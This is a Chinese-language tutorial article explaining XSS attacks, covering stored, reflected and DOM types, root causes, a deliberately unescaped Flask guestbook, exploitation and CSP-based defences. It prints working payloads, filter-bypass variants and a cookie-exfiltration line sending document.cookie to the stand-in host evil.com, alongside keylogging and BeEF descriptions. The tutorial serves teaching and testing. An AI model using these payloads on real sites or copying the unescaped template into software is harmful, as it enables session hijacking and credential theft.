ARTICLE · INTELLIGENCE

战地情报 · 详情页

来自尧图项目组的一线实战观察与深度解析

深入理解XSS跨站脚本攻击:原理、分类与防御实践

深入理解XSS跨站脚本攻击:原理、分类与防御实践

1. XSS 到底是什么:先别被名字吓住

做 Web 开发或者安全测试的朋友,一定见过 XSS 这个名字。它全称是 Cross-Site Scripting,中文叫跨站脚本攻击。我第一次接触这玩意儿的时候,总以为是什么高深莫测的黑客技术,后来真正去学、去复现、去写 payload,发现它的核心其实就一句话:攻击者把恶意脚本塞进了用户的浏览器里执行。

为什么叫 XSS 而不是 CSS?因为 CSS 早被层叠样式表占用了,圈内约定俗成叫 XSS,免得撞名。理解了这一点,再往下看就顺了。

XSS 能做什么?往小了说,可以在别人浏览器里弹个框、改个页面;往大了说,能偷 Cookie、劫持会话、篡改页面内容、钓鱼、挂马、挖矿,甚至可以配合其他漏洞直接打进后台。这些年我见过太多真实案例,很多企业以为自己的系统有 HTTPS、有防火墙就安全了,结果一个留言板没过滤,整个后台 Cookie 被偷走,管理员账号直接失守。所以学 XSS 不是纯粹为了当黑客,而是为了在写代码的时候知道哪些地方会出事,在测试的时候知道怎么复现问题。

这篇文章适合三类人:刚入门安全、想搞懂漏洞原理的前端和后端开发者,以及正在做渗透测试但还不太熟悉 XSS 细节的朋友。我会用自己踩过坑的经验,从原理、实践、利用、防御到排查一条龙讲清楚,尽量让小白也能上手复现。

2. 漏洞分类与触发原理:存储型、反射型、DOM 型到底差在哪

2.1 存储型 XSS:最危险的持久化投毒

存储型 XSS 的核心特点是攻击载荷被保存在服务器端,比如数据库、文件、缓存里。用户访问某个页面时,服务器会把存储的恶意代码当作用户数据的一部分原样返回给浏览器,浏览器解析 HTML 时发现这是一段<script>,就直接执行了。

典型场景:论坛发帖、评论留言、资料填写、订单备注。攻击者在某个输入框提交<script>alert(1)</script>,如果服务器没有对这个输入做任何转义,直接存进数据库,之后每一次有人访问这个帖子,浏览器都会弹出弹窗。一次提交,永久生效,所以叫存储型。

它的危害性在于攻击者不需要诱导特定用户点击某个带参数的 URL,只要受害者访问了那个被污染的数据页面,就会中招。比如在商品评价区批量植入偷 Cookie 的脚本,管理员一查看评价,Cookie 就被发到攻击者服务器上,后台权限直接沦陷。

2.2 反射型 XSS:一次性的探针偷渡

反射型 XSS 的载荷不会存储在服务器上,而是直接反射在响应页面里。通常攻击者会构造一个恶意 URL,比如http://xxx.com/search?keyword=<script>alert(1)</script>,服务器把keyword的值拼接到搜索页面的 HTML 中,用户点击这个链接后,浏览器解析时执行了脚本。

因为触发条件依赖用户点击特殊构造的链接,所以攻击者一般会借助短链接、邮件、聊天消息来诱导。它属于“一次性”攻击,载荷只出现在这次请求的响应里,刷新页面后可能就没了。

很多人觉得反射型比存储型低级,其实不然。如果反射型出现在一个高流量站点的搜索接口上,配合域名相似欺骗,依然可以构造出很隐蔽的钓鱼页面。我见过一个项目,搜索框把用户输入原样回显在标题里,连尖括号都没过滤,攻击者直接把整个搜索页变成了仿冒登录页面。

2.3 DOM 型 XSS:纯前端的暗流涌动

DOM 型 XSS 最容易被忽略,因为它不经过服务器。攻击载荷作用于浏览器 DOM 解析过程中,通常是location.hash、document.referrer、window.name等浏览器对象被程序取出来后,通过innerHTML、document.write、eval等 API 写进了页面。

举个例子,某页面 JS 代码:

const name = new URLSearchParams(window.location.search).get('name'); document.getElementById('greeting').innerHTML = 'Hello, ' + name;

攻击者访问http://xxx.com/?name=<img src=x onerror=alert(1)>,这个参数没有发送给服务器,但如果页面 JS 里把 name 直接拼到 innerHTML,浏览器照样执行了 img 的 onerror 事件。

DOM 型 XSS 的特点是不需要服务器参与,服务器日志里根本看不到恶意请求。它更隐蔽,也更能体现“前端代码信任了不该信任的数据”这一本质。

2.4 三者对比:一张表看穿它们的差别

维度存储型反射型DOM 型
载荷是否持久化是,存服务器否,立即响应否,纯前端处理
是否经过服务器解析是是不一定,可能完全不经过
触发条件访问污染页面点击构造的 URL执行特定前端逻辑
典型场景评论区、留言板搜索框、错误页前端路由、URL 参数处理
危害等级高,批量中招中,需诱导点击中高,隐蔽难追踪

我实际测试时的经验是:先按存储型排查最容易出问题的输入点(凡是入库的内容),再测反射型(所有会回显参数的地方),最后再看 DOM 型(重点看用了 innerHTML 的地方)。这个顺序能确保覆盖大多数漏洞。

3. 漏洞根因与非信任数据流转:为什么拼接如此危险

3.1 从“数据与代码混淆”看本质

XSS 的本质是数据被当成了代码执行。HTML、JavaScript、CSS 本身都是代码,浏览器解析这些代码时,会根据上下文决定哪些是结构、哪些是内容。如果开发者把用户输入拼接进 HTML,且没做转义,用户输入的一部分字符就可能被浏览器理解成 HTML 标签或者脚本代码。

举个例子,一个留言展示:

<div class="comment">用户输入</div>

如果用户输入是</div><script>alert(1)</script><div>,最终页面变成:

<div class="comment"></div><script>alert(1)</script><div></div>

浏览器解析时,</div>闭合了前面的容器,后面的<script>变成标签,代码执行。这就是“注入”。

我听到过一个很贴切的类比:把 XSS 看作 SQL 注入的孪生兄弟。SQL 注入是用户输入拼进 SQL 语句,把数据变成 SQL 指令;XSS 是用户输入拼进 HTML/JS,把数据变成浏览器指令。理解了这种“数据与代码混淆”,你就抓住了所有注入类漏洞的共同脉络。

3.2 非信任数据进入哪些位置最危险

不是所有拼接位置都会导致脚本执行,危险程度取决于数据最终被放进哪个上下文。我整理了几个常见的危险出口:

HTML 标签内容里:比如<div>用户输入</div>,输入尖括号即可注入新标签。

HTML 标签属性里:比如value="用户输入",输入" onfocus="alert(1)" autofocus="就能逃逸属性,注入新事件。

JavaScript 字符串里:比如var name = "用户输入";,输入";alert(1);//就能闭合字符串并执行新代码。

CSS 样式里:虽然现在少见,但某些低版本浏览器或特殊场景下,CSS 里的expression()、url()也能执行脚本。

URL 地址里:比如href="用户输入",输入javascript:alert(1),点击链接就执行。

每种上下文需要不同的转义策略,这也是为什么很多“万能过滤”并不可靠。我见过一个项目,只把<script>标签替换为空,结果攻击者用<img src=x onerror=alert(1)>轻松绕过。

3.3 浏览器解析顺序:只有弄清了执行顺序才能绕过

浏览器的 HTML 解析有个怪癖:如果解析过程中遇到<script>标签,会把它块里的内容作为 JS 代码解析,但这个块内部的原生实体会被解码成字符再交给 JS 引擎。所以出现了一种经典 payload:

<img src=x onerror="javascript:alert(1)">

也有人利用编码绕过,比如把alert(1)编码成 HTML 实体,放在事件属性里,浏览器解析属性时会先做实体解码,然后 JS 引擎才执行。

理解解析顺序后,你能明白为什么简单的正则过滤总有漏网之鱼。真正的防御不是试图穷举所有 payload,而是必须做到上下文感知的输出编码。

4. 动手实践:从环境搭建到基础探测的完整过程

4.1 本地靶场:不需要外网也能玩的三大思路

学 XSS 必须亲手复现,否则看再多文章都是空中楼阁。我用过几种不同的靶场环境,难度和真实度各有不同。

第一种:用现成的开源靶场。这类靶场专门为练习设计,比如 DVWA 这类经典的 Web 漏洞靶机,自带从 Low 到 Impossible 四个难度等级。Low 等级直接不设防,Hook 后可以直接看到 payload 如何被拼进 HTML;Impossible 等级展示的是正确写法。这种层级递进的设计特别适合建立对比感知。

第二种:用本地开发环境自己写个危险页面。其实 VSCode 加一个 Live Server 就够了。新建一个 HTML 文件,写死一段未过滤的引用了 URL 参数处理的 JS,浏览器打开就能测 DOM 型。要测反射型,本地起个简单的 Python HTTP 服务,用一段代码把 GET 参数直接拼进响应,就能模拟服务器端反射。

第三种:用虚拟环境搭建有数据库的完整小项目。比如本地装一个轻量级 Web 框架,写个带评论入库的页面,前端展示评论不回显转义,这不就是真实的存储型吗。初学阶段不需要搞得很复杂,重点是让你直观看到“输入 → 存储 → 渲染”的完整链路。

4.2 基础探测:从最笨的输入开始

我在测试的时候不会一开始就上复杂的 payload,而是先做基础探测,搞清楚数据到底怎么走的。流程通常是:

  1. 输入唯一标记字符。比如输入zzqaz123,然后在响应页面里搜索这个标记,看它出现在哪个位置。标记越独特越好,避免和页面原有内容混淆。

  2. 输入 HTML 片段。比如输入<b>zzqaz123</b>,如果页面里有加粗的 zzqaz123,说明尖括号没有被过滤,HTML 注入成立。

  3. 输入带事件的 HTML 标签。比如<img src=x onerror=alert(1)>,如果弹窗了,说明至少能执行 JS。如果弹窗没出来,马上按 F12 打开开发者工具,看渲染后的 DOM 和网络请求,弄清楚是过滤了还是编码了。

  4. 编码试探。如果发现<>被过滤或被转义,可以尝试各种编码变体。比如<img src=x onerror=alert(1)>里的部分内容用 URL 编码、unicode 编码、HTML 实体编码再输入,或者大小写混合,比如<ImG SrC=X Onerror=alert(1)>,很多后端过滤是区分大小写的。

4.3 实际复现示例:一个带评论功能的页面

下面我以一个简化的模拟项目 X 为例,展示存储型 XSS 的完整复现过程。这个项目是个极简留言板:用户提交昵称和留言,后端存储,前端展示。整个后端核心代码:

from flask import Flask, request, render_template_string, redirect app = Flask(__name__) comments = [] @app.route("/", methods=["GET", "POST"]) def index(): if request.method == "POST": name = request.form.get("name") msg = request.form.get("msg") comments.append({"name": name, "msg": msg}) return redirect("/") return render_template_string(""" <h1>留言板</h1> <form method="post"> <input name="name" placeholder="昵称"> <textarea name="msg" placeholder="留言"></textarea> <button>提交</button> </form> {% for c in comments %} <div class="comment"> <strong>{{ c.name }}</strong>:{{ c.msg }} </div> {% endfor %} """, comments=comments) if __name__ == "__main__": app.run(debug=True)

注意,这里用的是 Python 的render_template_string,里面直接把参数当变量替换了。我需要做个声明:为了演示漏洞,这是刻意省略所有转义的写法,真实项目千万别这么写。运行之后,先在留言里输入:

<script>alert(document.cookie)</script>

提交后回到首页,页面直接弹窗,显示当前域名下的 Cookie。这就是最原始的存储型 XSS。

再试另一种闭合法,输入:

</strong><img src=x onerror=alert("xss")>

因为模板里用<strong>包住了昵称,攻击者先用</strong>闭合标签,后面的<img>就独立成了一层新的标签,页面加载时找不到图片资源,触发 onerror 事件执行 JS。这种闭合型的只要你有仔细看渲染后的 DOM,就能举一反三构造更多载荷。

4.4 开发者工具是最忠诚的老师

我一直推荐大家多使用浏览器开发者工具,它对调试 XSS 的帮助超乎想象。主要看三个面板:

元素面板:右键“检查”,看 DOM 里实际渲染的结构。输出编码后的数据长什么样,拼入了哪一层标签,一目了然。

网络面板:查看请求和响应。反射型 XSS 尤其需要看响应正文,确认服务器返回的数据里,你的输入出现在哪个位置。还能看到完整请求头、响应头,排查有没有 CSP 之类的防护头拦截了脚本执行。

控制台面板:如果 payload 被浏览器拦截,控制台通常会报错。比如 CSP 拦截脚本时会直接输出一条安全策略错误,看到这个就说明还有一道防线没绕过,需要换思路。

我见过有人脚本明明弹窗不出来的原因是浏览器内置了 XSS 过滤器(比如旧版 Edge 或 Chrome 的 XSS Auditor 对反射型有限制),但现在已经基本被取消或默认关闭,不过某些场景还是会遇到。遇到这种问题,用键盘上的禁用缓存重载、换浏览器、或者改成 DOM 型测试环境能绕来绕去排查到具体原因。

5. 深入利用:从弹窗到真正产生危害

5.1 窃取 Cookie 与会话劫持

弹窗只是证明漏洞存在,真正要理解危害,得复现 Cookie 窃取。攻击思路很简单:在目标页面执行 JS,把document.cookie发送到攻击者的服务器。

假设攻击者服务器域名是evil.com,他写一个接口能接收 GET 参数并打印日志,比如:

new Image().src = 'http://evil.com/log?c=' + document.cookie;

这个 payload 放在被攻击页面里执行后,浏览器的网络面板上会出现一条新请求,Cookie 值作为c参数传到攻击者服务器。攻击者拿到管理员 Cookie 后,把这个值直接粘贴进自己浏览器的 Cookie 存储里,刷新页面,就可能直接以管理员身份进入后台。

不过现在很多站点给会话 Cookie 加了HttpOnly标记,JS 读不到这个值。遇到HttpOnly的 Cookie 也别灰心,XSS 利用还有很多其他路线,比如页面篡改和钓鱼。

5.2 页面篡改与键盘记录

XSS 能改页面 DOM,这个能力可以做成很多事。举例:攻击者用 JS 把当前页面的表单 action 篡改成自己的服务器,用户提交表单时数据就飞到了攻击者手里。或者直接在页面里插入一个假的登录框,诱导用户输入账号密码,俗称“钓鱼盒子”。

还有一个比较恶心的玩法是键盘记录器。把页面上的document.addEventListener('keydown', ...)绑定一个监听函数,用户输入的任何内容都被悄悄收集发送。这个结合表单伪造,几乎可以绕过大部分二次认证。

5.3 结合业务逻辑的定向攻击

XSS 不是孤零零的漏洞,它常与业务逻辑叠加产生更严重的后果。比如在用户中心,通过 XSS 修改个人信息接口,把别人绑定成了自己的子账号;或者在一个管理后台通过 XSS 触发删除资源的请求,利用管理员身份执行危险操作。

很多团队以为 XSS 只会产生影响不大的前端行为,其实在权限较大的管理后台,一个 XSS 就能横向扩散到整个系统。我在代码审阅中发现过一处未过滤的用户名渲染,结果该页面只有管理员能访问,攻击者把自己的用户名改成一个 payload,管理员一登录后台浏览用户列表,Cookie 就被偷了。这个案例最后评级是高危,理由就是“管理员权限可被接管”。

5.4 BeEF 的作用与局限

开源工具里,BeEF(Browser Exploitation Framework)是我经常用来演示 XSS 危害的东西。它本质上是一个浏览器控制框架,受害者浏览器只要执行了 BeEF 加载的 JS payload,这个浏览器实例就会被绑定到攻击者的控制台上。攻击者可以在控制台查看受害者的浏览信息、当前页面 DOM、网络请求,甚至盗取表单数据。

不过 BeEF 的局限也很明确:它依赖受害者浏览器保持在线,而且动作稍大就容易引起警觉。真正工作中我更多还是用自己写的小型取数据脚本,配合目标系统的业务特点做精确利用,实操对比下来比直接套 BeEF 更可控。

6. 防御思路与绕过场景:过滤、编码、CSP 到底怎么配

6.1 输入校验不是万能的

很多人以为前端加了校验、后端加了过滤,XSS 就万事大吉。事实是:输入过滤只适用于“允许集”明确的情况,比如手机号、数字 ID、邮箱,可以对字符做白名单校验。但昵称、评论、文章这类自由文本,你不可能禁止用户输入任何特殊字符,否则业务没法做。

对于自由文本,正确思路不是过滤恶意内容,而是在输出时做上下文编码。也就是根据数据被放入 HTML 的位置,选择对应的编码方式:

  • 放在 HTML 文本内容中:转义<、>、&、"、'
  • 放在 HTML 属性中:重点转义引号和&,同时考虑属性本身的不可信
  • 放在 JavaScript 字符串中:使用 JSON 序列化结果,避免手工拼接 JS 字符串
  • 放在 URL 中:使用 URL 编码,并校验协议只允许http/https

很多框架自带的模板引擎已经默认开启转义。前面那个 Python 示例,如果不用render_template_string,而是正常使用模板文件,Jinja2 默认就会转义<>,你直接输 payload 也弹不了窗。

6.2 常见的限制条件与绕过技巧

我收集并复现过不少常见的过滤绕过,这里列几个代表性的,帮你看清除非法器为什么防不住。

大小写绕过:后端只过滤<script>,但alert不区分大小写的话,<ScRiPt>就能过。现在很多新站点会做大小写归一处理,但这仍能绕掉老代码。

标签替换绕过:某些过滤器把<script替换为空字符串,那么输入<scriptscript>经替换后变成<script>,标签两边字符拼接,反而构造成功。

编码绕过:HTML 事件属性里可以做实体编码,所以<img src=x onerror=alert(1)>中的某些字符,替换成&#97;这类实体,过滤正则匹配不到,但浏览器解析后依然执行。

SVG 与数学标签绕过:<svg onload=alert(1)>不包含“script”敏感词,很多黑名单漏掉。还有<math><mtext>...这类不常见的标签也可能被忽略。

无尖括号利用:如果输入位置在 JS 字符串里,可以通过字符串拼接制造代码执行,比如';alert(1);//,完全不需要尖括号。这种情况下,防御端如果只过滤 HTML 标签就毫无用处。

构造绕过 payload 是个开放的脑力游戏。我给新人的建议是:不要试图背 payload,而是要理解上下文。先确认数据落在哪个位置,再选择逃逸该位置的最小语法。只要你能把一个地方的表单格式化打破,就能继续注入新代码。

6.3 CSP:浏览器层面最后的防线

Content Security Policy(内容安全策略)是浏览器提供的一种安全标准。通过响应头或 meta 标签告诉浏览器:哪些来源的脚本可以执行。特别重要的一点:上 CSP 不是不能绕过,但它能极大提高利用门槛。

一个基础的 CSP 配置示例:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'

这段的意思是:默认加载资源只允许本域名,脚本也只能从本域名加载,不允许内联脚本,不允许<object>标签,base-uri限制为本域,防止外部修改页面基础链接。

加了这样的 CSP 后,上面那些直接在<script>或onerror里写代码的 payload,浏览器会直接拦截。即便存在一个注入点,攻击者也很难直接执行 JS。

但 CSP 是需要懂原理才能配好的。有些人图省事,把script-src设成'unsafe-inline',那就等于放弃了 CSP 对脚本的保护。还有些站点为了加载 CDN 上的 JS 库,把script-src写得过于宽松,被攻击者利用 CDN 上的既有回调函数绕过。

我自己见过一个极端案例,站点 CSP 配置是script-src 'unsafe-inline',等于完全没用。完善的 CSP 还会配合'nonce-xxx'或'hash-xxx'机制,给合法脚本打上标记,内联脚本没有对应 nonce 就禁止执行。

6.4 业务层面的分层防御清单

真正可靠的 XSS 防御绝不是只有一道防线,而是靠纵深防御。我建议任何 Web 项目至少做到:

  1. 所有外部数据统一视为不可信,入库前不做太多花哨过滤,但明确在输出层做编码。
  2. 对所有 Cookie 设置HttpOnly+Secure+SameSite标记,至少让 Cookie 窃取变得困难。
  3. 上线前做一轮专门的 XSS 测试,重点关注可回显输入的页面和所有用innerHTML的 JS 代码。
  4. 部署 CSP 响应头,并不断调优策略,不让它形同虚设。
  5. 定期做代码审阅,搜索代码里的innerHTML、document.write、eval、location引用等危险 API。
  6. 对开发团队做一次 XSS 专项培训,让每个人都理解输出编码不是可选项,而是代码规范。

7. 常见问题与排查技巧实录

7.1 弹窗没弹出来,先别怀疑人生

初学阶段最容易遇到的挫折就是:照着网上的 payload 输入了,页面没有任何反应。这时候按顺序排查:

第一,看是不是被转义了。打开开发者工具,找到你的输入在 DOM 里长什么样。如果输入里<>变成了&lt;&gt;,说明服务器已经转义,这个点基本没法直接利用。

第二,看有没有 CSP 拦截。控制台如果有安全策略报错,说明 CSP 生效了,需要换更迂回的方式。

第三,看是不是事件时机不对。比如onerror事件必须依赖资源加载失败才会触发,如果图片地址写成x其实能加载成功?不会,一般src=x会失败。但有些元素加载行为不一致,换成其他事件比如onanimationstart试试。

第四,检查脚本语法。如果多个 payload 都失效,可能是你构造的语法里引号嵌套错了。最简单的方式是先在控制台手动测试这一行 JS 语法是否正确。

7.2 为什么有的 Cookie 偷不到

前面提过HttpOnly。当 Cookie 带有这个属性时,document.cookie只能拿到非 HttpOnly 的 Cookie。所以测试时发现偷不到,不代表 XSS 没危害,只能是这个环节的利用点被封住了。这时候把目标转向页面篡改、表单劫持、后台操作等功能,同样可以证明漏洞的实际危害。

还有一个容易被忽略的点:浏览器对跨域请求的 Cookie 携带有限制。攻击者通过new Image().src发出的请求,默认不会携带目标站点的 Cookie,因为它是攻击者域名收到的请求。但这里我们是要偷 Cookie,而不是让目标带着 Cookie 发出去,所以目标站 Cookie 会不会自动附带到攻击者域名,其实不影响document.cookie读取。

7.3 绕过黑名单失败时,试试白名单思路

黑名单过滤就像打地鼠,总有漏网的。我见过一个系统过滤了alert,但没过滤prompt和confirm,于是prompt(1)同样弹出一个输入框,虽说影响有所降低,但脚本执行的事实已经成立。更关键的是,代码执行本质上不受函数名限制,只要找到一个可用函数,利用就能成立。

遇到黑名单很强、所有常见函数都被禁的极端情况,可以试试 ES6 模板字符串配合匿名函数,比如直接抛出异常展示内容,或者使用onerror触发异常让浏览器把异常内容显示到页面。但这些的利用价值有限,真正要做的是找到更隐蔽的注入点。

7.4 自动化扫描与人工测试怎么结合

自动化扫描器在 XSS 检测上能覆盖常见场景,但误报和漏报都不少。我的经验是:自动化扫描先排查出了一批可疑点,然后人工逐个验证。人工测试时尤其要注意一些扫描器容易忽略的 DOM 型注入,因为它们依赖快速浏览器渲染,很多场景根本触达不到。

另外,写一份“XSS 自查清单”能极大提速代码审阅。清单主要包括:

  • 后端所有模板渲染点,确认输出编码是否启用
  • 前端所有innerHTML/outerHTML/document.write使用点
  • 所有 URL 参数、hash、referrer 的值是否直接进入 DOM
  • 是否存在不安全的javascript:协议跳转
  • 管理后台的输入与渲染点,这部分往往风险更高

这段话看着像检查列表,但其实真就是我每次项目收尾都会过一遍的标准动作。

8. 最后分享一点心得

学 XSS 很容易陷入两个极端:一是背了一堆 payload,看着别人弹窗,自己却不知道原理;二是知道过滤方法,但一到真实项目就发现总有意外情况。我自己走过来的体会是,不要沉迷于“绕过某个特定站点”的技巧,而要反复训练对数据流的敏感度。看到输入 → 经过什么处理 → 渲染进 HTML 的角度是什么,脑子里要能瞬间形成一条链路。链路通了,什么问题都好解决。

另外,强烈建议初学者从“受害者视角”和“开发者视角”来回切换。作为攻击者想的是怎么构造 payload,作为开发者想的是在哪个环节不可信数据会变成代码。真正悟到这两者其实是同一件事的后半段时,你才算真正理解 XSS 了。

还有一个给我省了很多事的小技巧:写一个小工具,收集各种类型测试输入,比如跨站标点、闭合标签、事件属性、编码实体,每次测试直接往工具里复制粘贴,比手工一遍遍打方便得多。工具本身不用很复杂,一个小网页加几个按钮就够用。

最后想说,XSS 学习不是一两天的事。今天你先搞懂一个弹窗背后的原理,明天再去啃 CSP 和框架编码细节,积累一段时间后回头看,你会发现自己在写代码的时候下意识就会躲开那些危险写法,这就是学漏洞最好的回报。

RELATED READING

延伸阅读

更多一线实战笔记与深度复盘,助您持续精进